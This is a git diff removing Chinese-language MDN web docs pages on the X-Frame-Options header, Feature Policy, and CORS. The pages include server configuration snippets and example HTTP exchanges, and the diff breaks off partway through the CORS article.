- - diff --git a/files/zh-cn/web/http/x-frame-options/index.html b/files/zh-cn/web/http/x-frame-options/index.html deleted file mode 100644 index 2b6cfcda76..0000000000 --- a/files/zh-cn/web/http/x-frame-options/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: X-Frame-Options -slug: Web/HTTP/X-Frame-Options -tags: - - HTTP - - 响应头 - - 响应头部 - - 安全性 -translation_of: Web/HTTP/Headers/X-Frame-Options ---- -
{{HTTPSidebar}}
- -

The X-Frame-Options HTTP 响应头是用来给浏览器 指示允许一个页面 可否在 {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} 或者 {{HTMLElement("object")}} 中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面,从而避免 {{interwiki("wikipedia", "clickjacking")}} 攻击。

- -

The added security is only provided if the user accessing the document is using a browser supporting X-Frame-Options. {{HTTPHeader("Content-Security-Policy")}} HTTP 头中的 frame-ancestors 指令会替代这个非标准的 header。CSP 的 frame-ancestors 会在 {{Gecko("4.0")}} 中支持,但是并不会被所有浏览器支持。然而 X-Frame-Options 是个已广泛支持的非官方标准,可以和 CSP 结合使用。

- - - - - - - - - - - - -
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
- -

语法

- -

X-Frame-Options 有三个可能的值:

- -
X-Frame-Options: deny
-X-Frame-Options: sameorigin
-X-Frame-Options: allow-from https://example.com/
-
- -

指南

- -

换一句话说,如果设置为 deny,不光在别人的网站 frame 嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为sameorigin,那么页面就可以在同域名页面的 frame 中嵌套。

- -
-
deny
-
表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
-
sameorigin
-
表示该页面可以在相同域名页面的 frame 中展示。
-
allow-from uri
-
表示该页面可以在指定来源的 frame 中展示。
-
- -

例子

- -
-

Note: 设置 meta 标签是无效的!例如 <meta http-equiv="X-Frame-Options" content="deny"> 没有任何效果。不要这样用!只有当像下面示例那样设置 HTTP 头 X-Frame-Options 才会生效。

-
- -

配置 Apache

- -

配置 Apache 在所有页面上发送 X-Frame-Options 响应头,需要把下面这行添加到 'site' 的配置中:

- -
Header always set X-Frame-Options "sameorigin"
-
- -

要将 Apache 的配置 X-Frame-Options 设置成 deny , 按如下配置去设置你的站点:

- -
Header set X-Frame-Options "deny"
-
- -

要将 Apache 的配置 X-Frame-Options 设置成 allow-from,在配置里添加:

- -
Header set X-Frame-Options "allow-from https://example.com/"
-
- -

配置 nginx

- -

配置 nginx 发送 X-Frame-Options 响应头,把下面这行添加到 'http', 'server' 或者 'location' 的配置中:

- -
add_header X-Frame-Options sameorigin always;
-
- -

配置 IIS

- -

配置 IIS 发送 X-Frame-Options 响应头,添加下面的配置到 Web.config 文件中:

- -
<system.webServer>
-  ...
-
-  <httpProtocol>
-    <customHeaders>
-      <add name="X-Frame-Options" value="sameorigin" />
-    </customHeaders>
-  </httpProtocol>
-
-  ...
-</system.webServer>
-
- -

配置 HAProxy

- -

配置 HAProxy 发送 X-Frame-Options 头,添加这些到你的前端、监听 listen,或者后端的配置里面:

- -
rspadd X-Frame-Options:\ sameorigin
-
- -

或者,在更加新的版本中:

- -
http-response set-header X-Frame-Options sameorigin
-
- -

配置 Express

- -

要配置 Express 可以发送 X-Frame-Options header,你可以用借助了 frameguard 来设置头部的 helmet。在你的服务器配置里面添加:

- -
const helmet = require('helmet');
-const app = express();
-app.use(helmet.frameguard({ action: "sameorigin" }));
-
- -

或者,你也可以直接用 frameguard

- -
const frameguard = require('frameguard')
-app.use(frameguard({ action: 'sameorigin' }))
-
- -

结果

- -

在 Firefox 尝试加载 frame 的内容时,如果 X-Frame-Options 响应头设置为禁止访问了,那么 Firefox 会用 about:blank 展现到 frame 中。也许从某种方面来讲的话,展示为错误消息会更好一点。

- -

规范

- - - - - - - - - - - - - - -
规范标题
{{RFC("7034")}}HTTP Header Field X-Frame-Options
- -

浏览器兼容性

- - - -

{{Compat("http.headers.X-Frame-Options")}}

- -

参见

- - diff --git "a/files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/index.html" "b/files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/index.html" deleted file mode 100644 index 90e83fb04a..0000000000 --- "a/files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/index.html" +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: Feature Policy -slug: Web/HTTP/策略特征 -translation_of: Web/HTTP/Feature_Policy ---- -
{{SeeCompatTable}}{{HTTPSidebar}}
- -

特征策略允许web开发者在浏览器中选择启用、禁用和修改确切特征和 API 的行为.比如{{Glossary("CSP","内容安全策略")}},但是它控制的是浏览器的特征非安全行为.

- -

概述

- -

特征策略提供了一种机制去声明哪些功能通过你的网络,是可以被用的(或者不被使用的)。这就允许你通过功能可用性来很好的锁定功能,即使代码很老,或者包含第三方的内容。

- -

有了功能策略,你可以选择一组“策略”,让浏览器强制执行整个网站使用的特定功能。这些策略限制了站点可以访问哪些api,或者修改浏览器对某些特性的默认行为

- -

使用特性策略可以做什么的示例?:

- -
    -
  • 改变手机和第三方视频自动播放的默认行为.
  • -
  • 限制网站使用敏感的api,如摄像头或麦克风.
  • -
  • -

    允许iframes使用全屏API.

    -
  • -
  • -

    阻止使用过时的api,比如 synchronous XHR 和 {{domxref("document.write()")}}.

    -
  • -
  • 确保图像的大小正确,对于视口来说不会太大.
  • -
- -

概念和用法

- -

特性策略允许您在顶级页面和嵌入式框架中控制哪些源可以使用哪些特性。实际上,您编写了一个策略,它是每个特性允许的起源列表。对于由特性策略控制的每个特性,只有当它的起源与允许的起源列表匹配时,该特性才会在当前文档或框架中启用.

- -

对于每个策略控制的功能,浏览器都会维护启用该功能的来源列表,称为允许列表。如果您未为功能指定策略,则将使用默认的允许列表。默认的许可列表特定于每个功能.

- -

编写策略

- -

使用一组单独的策略指令来描述策略。策略指令是已定义功能名称和可以使用该功能的来源的允许列表的组合.

- -

指定策略

- -

功能策略提供了两种方法来指定用于控制功能的策略:

- -
    -
  •  {{httpheader('Feature-Policy')}} HTTP 报文头.
  • -
  • 在{{HTMLElement('iframe','allow','#Attributes')}} iframes 之上的属性.
  • -
- -

HTTP标头和allow属性之间的主要区别在于allow属性仅控制iframe中的功能。标头控制响应中的功能以及页面内的任何嵌入式内容.

- -

点此链接查看更多详细信息 Using Feature Policy.

- -

策略控制功能的类型

- -

尽管功能策略使用一致的语法提供了对多个功能的控制,但是策略控制功能的行为却有所不同,并取决于多个因素.

- -

一般原则是,Web开发人员应该有一种直观或不间断的方式来检测或处理禁用该功能的情况。新引入的功能可能具有显示状态的显式API。稍后与功能策略集成的现有功能通常将使用现有机制。一些方法包括:

- -
    -
  • 对于需要用户权限授予的JavaScript API,返回“权限被拒绝(permission denied)”.
  • -
  • 从提供功能访问权限的现有JavaScript API返回falseerror.
  • -
  • 更改控制功能行为的默认值或选项.
  • -
- -

当前的一组策略控制功能可分为两大类:

- -
    -
  • 实施最佳实践以获得良好的用户体验.
  • -
  • 提供对敏感或强大功能的精细控制.
  • -
- -

良好用户体验的最佳实践

- -

有几种策略控制的功能可帮助实施最佳实践,以提供良好的性能和用户体验.

- -

在大多数情况下,策略控制的功能代表的功能在使用时会对用户体验产生负面影响。为避免破坏现有的Web内容,此类策略控制功能的默认设置是允许所有来源使用该功能。然后,通过使用禁用策略控制功能的策略来实施最佳实践。有关更多详细信息,请参见“实施最佳实践以提供良好的用户体验”.

- -

功能包括:

- -
    -
  • Layout-inducing 动画
  • -
  • 传统的图像格式
  • -
  • 超大号的图片
  • -
  • 同步脚本
  • -
  • 同步 XMLHTTPRequest
  • -
  • 为优化的图像
  • -
  • 大小不一的媒体
  • -
- -

精细控制某些功能

- -

Web提供的功能和API如果被滥用,可能会带来隐私或安全风险。在某些情况下,您可能希望严格限制在网站上使用此类功能的方式。有策略控制的功能,允许针对网站中的特定来源或框架启用/禁用功能。该功能在可用时与Permissions API或特定于功能的机制集成在一起,以检查该功能是否可用.

- -

功能包括:

- -
    -
  • 加速器
  • -
  • 环境光源感测器
  • -
  • 自动播放
  • -
  • 摄像功能
  • -
  • 加密媒体信息
  • -
  • 全屏功能
  • -
  • 地理定位
  • -
  • 陀螺仪
  • -
  • 延迟加载
  • -
  • 麦克风
  • -
  • Midi
  • -
  • 支付请求
  • -
  • 画中画(Picture-in-picture)
  • -
  • 扬声器
  • -
  • USB
  • -
  • VR / XR
  • -
- -

更多示例

- - - -

规范

- - - - - - - - - - - - - - -
说明书状态描述
{{SpecName('Feature Policy','#feature-policy-http-header-field','Feature-Policy')}}{{Spec2('Feature Policy')}}初始化前定义 {{httpheader('Feature-Policy')}} 头. 规范中定义了指令所控制的特性. 有关详细信息,请参阅个别指令页面.
- -

浏览器兼容性

- - - -

{{Compat("http.headers.Feature-Policy")}}

- -

参见

- - diff --git "a/files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/using_feature_policy/index.html" "b/files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/using_feature_policy/index.html" deleted file mode 100644 index 9a37fa46f3..0000000000 --- "a/files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/using_feature_policy/index.html" +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: Using Feature Policy -slug: Web/HTTP/策略特征/Using_Feature_Policy -translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy ---- -
{{HTTPSidebar}} {{SeeCompatTable}}
- -

Feature Policy allows you to control which origins can use which features, both in the top-level page and in embedded frames. Essentially, you write a policy, which is an allowed list of origins for each feature. For every feature controlled by Feature Policy, the feature is only enabled in the current document or frame if its origin matches the allowed list of origins.

- -

For each policy-controlled feature, the browser maintains a list of origins for which the feature is enabled, known as an allowlist. If you do not specify a policy for a feature, then a default allowlist will be used. The default allowlist is specific to each feature.

- -

Writing a policy

- -

A policy is described using a set of individual policy directives. A policy directive is a combination of a defined feature name, and an allowlist of origins that can use the feature.

- -

allowlist

- -

allowlist可以使用以下一个或多个值。

- -
    -
  • *: 允许在当前文档和所有包含的内容(比如iframes)中使用本特性。
  • -
  • 'self': 允许在当前文档中使用本特性,但在包含的内容(比如iframes)仍使用原值。
  • -
  • 'src': (只在iframe中允许) 只要在{{HTMLElement('iframe','src','#Attributes')}} 中的URL和加载iframe用的URL相同,则本特性在iframe中允许,
  • -
  • 'none': 从最上层到包含的内容都禁止本特性。
  • -
  • <origin(s)>: 在特定的源中允许,源URL以空格分割。
  • -
- -

*(在所有源地址启用)'none'(在所有源地址禁用)只允许单独使用,而'self''src'可以与多个源地址一起使用。

- -

所有的特性都有一个如下的默认的allowlist

- -
    -
  • *: 本特性默认在最上层和包含的内容中(iframes)允许。
  • -
  • 'self': 本特性默认在最上层允许,而包含的内容中(iframes)使用源地址相同设定。也就是说本特性在iframe中不允许跨域访问。
  • -
  • 'none': 本特性默认在最上层和包含的内容中(iframes)都禁止。
  • -
- -

Specifying your policy

- -

Feature Policy provides two ways to specify policies to control features:

- -
    -
  • The {{httpheader('Feature-Policy')}} HTTP header.
  • -
  • The {{htmlattrxref("allow", "iframe")}} attribute on {{htmlelement("iframe")}}s.
  • -
- -

The primary difference between the HTTP header and the allow attribute is that the allow attribute only controls features within an iframe. The header controls features in the response and any embedded content within the page.

- -

The Feature-Policy HTTP header

- -

You can send the Feature-Policy HTTP header with the response of a page. The value of this header is a policy to be enforced by the browser for the given page. It has the following structure.

- -
Feature-Policy: <feature name> <allowlist of origin(s)>
- -

For example, to block all content from using the Geolocation API across your site:

- -
Feature-Policy: geolocation 'none'
- -

Several features can be controlled at the same time by sending the HTTP header with a semicolon-separated list of policy directives, or by sending a separate header for each policy.

- -

For example, the following are equivalent:

- -
Feature-Policy: unsized-media 'none'; geolocation 'self' https://example.com; camera *;
-
-Feature-Policy: unsized-media 'none'
-Feature-Policy: geolocation 'self' https://example.com
-Feature-Policy: camera *;
-
- -

The iframe allow attribute

- -

The second way to use Feature Policy is for controlling content within an iframe. Use the allow attribute to specify a policy list for embedded content.

- -

For example, allow all browsing contexts within this iframe to use fullscreen:

- -
<iframe src="https://example.com..." allow="fullscreen"></iframe>
- -

This is equivalent to:

- -
<iframe src="https://example.com..." allow="fullscreen 'src'"></iframe>
- -

This example allows <iframe> content on a particular origin to access the user's location:

- -
<iframe src="https://google-developers.appspot.com/demos/..."
-        allow="geolocation https://google-developers.appspot.com"></iframe>
-
- -

Similar to the HTTP header, several features can be controlled at the same time by specifying a semicolon-separated list of policy directives.

- -

For example, this blocks the <iframe> from using the camera and microphone:

- -
<iframe allow="camera 'none'; microphone 'none'">
-
- -

Inheritance of policy for embedded content

- -

Scripts inherit the policy of their browsing context, regardless of their origin. That means that top-level scripts inherit the policy from the main document.

- -

All iframes inherit the policy of their parent page. If the iframe has an allow attribute, the policies of the parent page and the allow attribute are combined, using the most restrictive subset. For an iframe to have a feature enabled, the origin must be in the allowlist for both the parent page and the allow attribute.

- -

Disabling a feature in a policy is a one-way toggle. If a feature has been disabled for a child frame by its parent frame, the child cannot re-enable it, and neither can any of the child's descendants.

- -

Enforcing best practices for good user experiences

- -

It's difficult to build a website that uses all the latest best practices and provides great performance and user experiences. As the website evolves, it can become even harder to maintain the user experience over time. You can use feature policies to specify the desired best practices, and rely on the browser to enforce the policies to prevent regressions.

- -

There are several policy-controlled features designed to represent functionality that can negatively impact the user experience. These features include:

- -
    -
  • Layout-inducing Animations
  • -
  • Unoptimized (poorly compressed) images
  • -
  • Oversized images
  • -
  • Synchronous scripts
  • -
  • Synchronous XMLHttpRequest
  • -
  • Unsized media
  • -
- -

To avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. That is, the default allowlist is '*' for each feature. Preventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features.

- -

For new content, you can start developing with a policy that disables all the features. This approach ensures that none of the functionality is introduced. When applying a policy to existing content, testing is likely required to verify it continues to work as expected. This is especially important for embedded or third-party content that you do not control.

- -

To turn on the enforcement of all the best practices, specify the policy as below.

- -

Send the following the HTTP header:

- -
Feature-Policy: layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';
- -

Using the <iframe> allow attribute:

- -
<iframe src="https://example.com..." allow="layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';"></iframe>
- -

See also

- -
    -
  • Feature Policy
  • -
  • {{HTTPHeader("Feature-Policy")}} header
  • -
  • {{HTMLElement('iframe','allow','#Attributes')}} attribute on iframes
  • -
  • {{HTTPHeader("Content-Security-Policy")}} header
  • -
  • {{HTTPHeader("Referrer-Policy")}} header
  • -
diff --git "a/files/zh-cn/web/http/\350\267\250\345\237\237\350\265\204\346\272\220\345\205\261\344\272\253(cors)_/index.html" "b/files/zh-cn/web/http/\350\267\250\345\237\237\350\265\204\346\272\220\345\205\261\344\272\253(cors)_/index.html" deleted file mode 100644 index 5d4f591eb7..0000000000 --- "a/files/zh-cn/web/http/\350\267\250\345\237\237\350\265\204\346\272\220\345\205\261\344\272\253(cors)_/index.html" +++ /dev/null @@ -1,544 +0,0 @@ ---- -title: 跨域资源共享(CORS) -slug: Web/HTTP/跨域资源共享(CORS)_ ---- -
{{ HTTPSidebar }}
- -
- -
跨域资源共享({{Glossary("CORS")}}) 是一种机制,它使用额外的 {{Glossary("HTTP")}} 头来告诉浏览器  让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求
- -
- -
如,站点 http://domain-a.com 的某 HTML 页面通过 <img> 的 src 请求 http://domain-b.com/image.jpg。网络上的许多页面都会加载来自不同域的CSS样式表,图像和脚本等资源。
- -
- -

出于安全原因,浏览器限制从脚本内发起的跨源HTTP请求。 例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。

- -

  (译者注:这段描述不准确,并不一定是浏览器限制了发起跨站请求,也可能是跨站请求可以正常发起,但是返回结果被浏览器拦截了。)

- -

- -

跨域资源共享( {{Glossary("CORS")}} )机制允许 Web 应用服务器进行跨域访问控制,从而使跨域数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 {{domxref("XMLHttpRequest")}} 或 Fetch )使用 CORS,以降低跨域 HTTP 请求所带来的风险。

- -

谁应该读这篇文章?

- -

说实话,每个人。

- -

更具体地来讲,这篇文章适用于网站管理员、后端和前端开发者。现代浏览器处理跨域资源共享的客户端部分,包括HTTP头和相关策略的执行。但是这一新标准意味着服务器需要处理新的请求头和响应头。对于服务端的支持,开发者可以阅读补充材料 cross-origin sharing from a server perspective (with PHP code snippets)

- -

什么情况下需要 CORS ?

- -

跨域资源共享标准( cross-origin sharing standard )允许在下列场景中使用跨域 HTTP 请求:

- - - -

本文概述了跨域资源共享机制及其所涉及的 HTTP 头。

- -

功能概述

- -

跨域资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 {{HTTPMethod("GET")}} 以外的 HTTP 请求,或者搭配某些 MIME 类型的 {{HTTPMethod("POST")}} 请求),浏览器必须首先使用 {{HTTPMethod("OPTIONS")}} 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)。

- -

CORS请求失败会产生错误,但是为了安全,在JavaScript代码层面是无法获知到底具体是哪里出了问题。你只能查看浏览器的控制台以得知具体是哪里出现了错误。

- -

接下来的内容将讨论相关场景,并剖析该机制所涉及的 HTTP 首部字段。

- -

若干访问控制场景

- -

这里,我们使用三个场景来解释跨域资源共享机制的工作原理。这些例子都使用 {{domxref("XMLHttpRequest")}} 对象。

- -

本文中的 JavaScript 代码片段都可以从 http://arunranga.com/examples/access-control/ 获得。另外,使用支持跨域  {{domxref("XMLHttpRequest")}} 的浏览器访问该地址,可以看到代码的实际运行结果。

- -

关于服务端对跨域资源共享的支持的讨论,请参见这篇文章: Server-Side_Access_Control (CORS)

- -

简单请求

- -

某些请求不会触发 CORS 预检请求。本文称这样的请求为“简单请求”,请注意,该术语并不属于 {{SpecName('Fetch')}} (其中定义了 CORS)规范。若请求满足所有下述条件,则该请求可视为“简单请求”:

- -
    -
  • 使用下列方法之一: -
      -
    • {{HTTPMethod("GET")}}
    • -
    • {{HTTPMethod("HEAD")}}
    • -
    • {{HTTPMethod("POST")}}
    • -
    -
  • -
  • Fetch 规范定义了对 CORS 安全的首部字段集合,不得人为设置该集合之外的其他首部字段。该集合为: -
      -
    • {{HTTPHeader("Accept")}}
    • -
    • {{HTTPHeader("Accept-Language")}}
    • -
    • {{HTTPHeader("Content-Language")}}
    • -
    • {{HTTPHeader("Content-Type")}} (需要注意额外的限制)
    • -
    • DPR
    • -
    • Downlink
    • -
    • Save-Data
    • -
    • Viewport-Width
    • -
    • Width
    • -
    -
  • -
  • {{HTTPHeader("Content-Type")}} 的值仅限于下列三者之一: -
      -
    • text/plain
    • -
    • multipart/form-data
    • -
    • application/x-www-form-urlencoded
    • -
    -
  • -
  • 请求中的任意{{domxref("XMLHttpRequestUpload")}} 对象均没有注册任何事件监听器;{{domxref("XMLHttpRequestUpload")}} 对象可以使用 {{domxref("XMLHttpRequest.upload")}} 属性访问。
  • -
  • 请求中没有使用 {{domxref("ReadableStream")}} 对象。
  • -
- -
注意: 这些跨域请求与浏览器发出的其他跨域请求并无二致。如果服务器未返回正确的响应首部,则请求方不会收到任何数据。因此,那些不允许跨域请求的网站无需为这一新的 HTTP 访问控制特性担心。
- -
注意: WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS, and Switch to a blacklist model for restricted Accept headers in simple CORS requests。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。
- -

比如说,假如站点 http://foo.example 的网页应用想要访问 http://bar.other 的资源。http://foo.example 的网页中可能包含类似于下面的 JavaScript 代码:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/public-data/';
-
-function callOtherDomain() {
-  if(invocation) {
-    invocation.open('GET', url, true);
-    invocation.onreadystatechange = handler;
-    invocation.send();
-  }
-}
-
- -

客户端和服务器之间使用 CORS 首部字段来处理跨域权限:

- -

- -

分别检视请求报文和响应报文:

- -
GET /resources/public-data/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
-Origin: http://foo.example
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 00:23:53 GMT
-Server: Apache/2.0.61
-Access-Control-Allow-Origin: *
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: application/xml
-
-[XML Data]
-
- -

第 1~10 行是请求首部。第10行 的请求首部字段 {{HTTPHeader("Origin")}} 表明该请求来源于 http://foo.example

- -

第 13~22 行是来自于 http://bar.other 的服务端响应。响应中携带了响应首部字段 {{HTTPHeader("Access-Control-Allow-Origin")}}(第 16 行)。使用 {{HTTPHeader("Origin")}} 和 {{HTTPHeader("Access-Control-Allow-Origin")}} 就能完成最简单的访问控制。本例中,服务端返回的 Access-Control-Allow-Origin: * 表明,该资源可以被任意外域访问。如果服务端仅允许来自 http://foo.example 的访问,该首部字段的内容如下:

- -

Access-Control-Allow-Origin: http://foo.example

- -

现在,除了 http://foo.example,其它外域均不能访问该资源(该策略由请求首部中的 ORIGIN 字段定义,见第10行)。Access-Control-Allow-Origin 应当为 * 或者包含由 Origin 首部字段所指明的域名。

- -

预检请求

- -

与前述简单请求不同,“需预检的请求”要求必须首先使用 {{HTTPMethod("OPTIONS")}}   方法发起一个预检请求到服务器,以获知服务器是否允许该实际请求。"预检请求“的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。

- -

当请求满足下述任一条件时,即应首先发送预检请求:

- -
    -
  • 使用了下面任一 HTTP 方法: -
      -
    • {{HTTPMethod("PUT")}}
    • -
    • {{HTTPMethod("DELETE")}}
    • -
    • {{HTTPMethod("CONNECT")}}
    • -
    • {{HTTPMethod("OPTIONS")}}
    • -
    • {{HTTPMethod("TRACE")}}
    • -
    • {{HTTPMethod("PATCH")}}
    • -
    -
  • -
  • 人为设置了对 CORS 安全的首部字段集合之外的其他首部字段。该集合为: -
      -
    • {{HTTPHeader("Accept")}}
    • -
    • {{HTTPHeader("Accept-Language")}}
    • -
    • {{HTTPHeader("Content-Language")}}
    • -
    • {{HTTPHeader("Content-Type")}} (需要注意额外的限制)
    • -
    • DPR
    • -
    • Downlink
    • -
    • Save-Data
    • -
    • Viewport-Width
    • -
    • Width
    • -
    -
  • -
  •  {{HTTPHeader("Content-Type")}} 的值不属于下列之一: -
      -
    • application/x-www-form-urlencoded
    • -
    • multipart/form-data
    • -
    • text/plain
    • -
    -
  • -
  • 请求中的{{domxref("XMLHttpRequestUpload")}} 对象注册了任意多个事件监听器。
  • -
  • 请求中使用了{{domxref("ReadableStream")}}对象。
  • -
- -
-

注意: WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS, and Switch to a blacklist model for restricted Accept headers in simple CORS requests。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。

-
- -

如下是一个需要执行预检请求的 HTTP 请求:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/post-here/';
-var body = '<?xml version="1.0"?><person><name>Arun</name></person>';
-
-function callOtherDomain(){
-  if(invocation)
-    {
-      invocation.open('POST', url, true);
-      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
-      invocation.setRequestHeader('Content-Type', 'application/xml');
-      invocation.onreadystatechange = handler;
-      invocation.send(body);
-    }
-}
-
-......
-
- -

上面的代码使用 POST 请求发送一个 XML 文档,该请求包含了一个自定义的请求首部字段(X-PINGOTHER: pingpong)。另外,该请求的 Content-Type 为 application/xml。因此,该请求需要首先发起“预检请求”。

- -

- -
OPTIONS /resources/post-here/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Origin: http://foo.example
-Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:39 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET, OPTIONS
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 0
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
- -

预检请求完成之后,发送实际请求:

- -
POST /resources/post-here/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-X-PINGOTHER: pingpong
-Content-Type: text/xml; charset=UTF-8
-Referer: http://foo.example/examples/preflightInvocation.html
-Content-Length: 55
-Origin: http://foo.example
-Pragma: no-cache
-Cache-Control: no-cache
-
-<?xml version="1.0"?><person><name>Arun</name></person>
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:40 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 235
-Keep-Alive: timeout=2, max=99
-Connection: Keep-Alive
-Content-Type: text/plain
-
-[Some GZIP'd payload]
- -

浏览器检测到,从 JavaScript 中发起的请求需要被预检。从上面的报文中,我们看到,第 1~12 行发送了一个使用 OPTIONS 方法的“预检请求”。 OPTIONS 是 HTTP/1.1 协议中定义的方法,用以从服务器获取更多信息。该方法不会对服务器资源产生影响。 预检请求中同时携带了下面两个首部字段:

- -
Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
- -

首部字段 Access-Control-Request-Method 告知服务器,实际请求将使用 POST 方法。首部字段 Access-Control-Request-Headers 告知服务器,实际请求将携带两个自定义请求首部字段:X-PINGOTHER 与 Content-Type。服务器据此决定,该实际请求是否被允许。

- -

第14~26 行为预检请求的响应,表明服务器将接受后续的实际请求。重点看第 17~20 行:

- -
Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET, OPTIONS
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
- -

首部字段 Access-Control-Allow-Methods 表明服务器允许客户端使用 POST, GET OPTIONS 方法发起请求。该字段与 HTTP/1.1 Allow: response header 类似,但仅限于在需要访问控制的场景中使用。

- -

首部字段 Access-Control-Allow-Headers 表明服务器允许请求中携带字段 X-PINGOTHER Content-Type Access-Control-Allow-Methods 一样,Access-Control-Allow-Headers 的值为逗号分割的列表。

- -

最后,首部字段 Access-Control-Max-Age 表明该响应的有效时间为 86400 秒,也就是 24 小时。在有效时间内,浏览器无须为同一请求再次发起预检请求。请注意,浏览器自身维护了一个最大有效时间,如果该首部字段的值超过了最大有效时间,将不会生效。

- -

预检请求与重定向

- -

大多数浏览器不支持针对于预检请求的重定向。如果一个预检请求发生了重定向,浏览器将报告错误:

- -
-

The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight

-
- -
-

Request requires preflight, which is disallowed to follow cross-origin redirect

-
- -

CORS 最初要求该行为,不过在后续的修订中废弃了这一要求

- -

在浏览器的实现跟上规范之前,有两种方式规避上述报错行为:

- -
    -
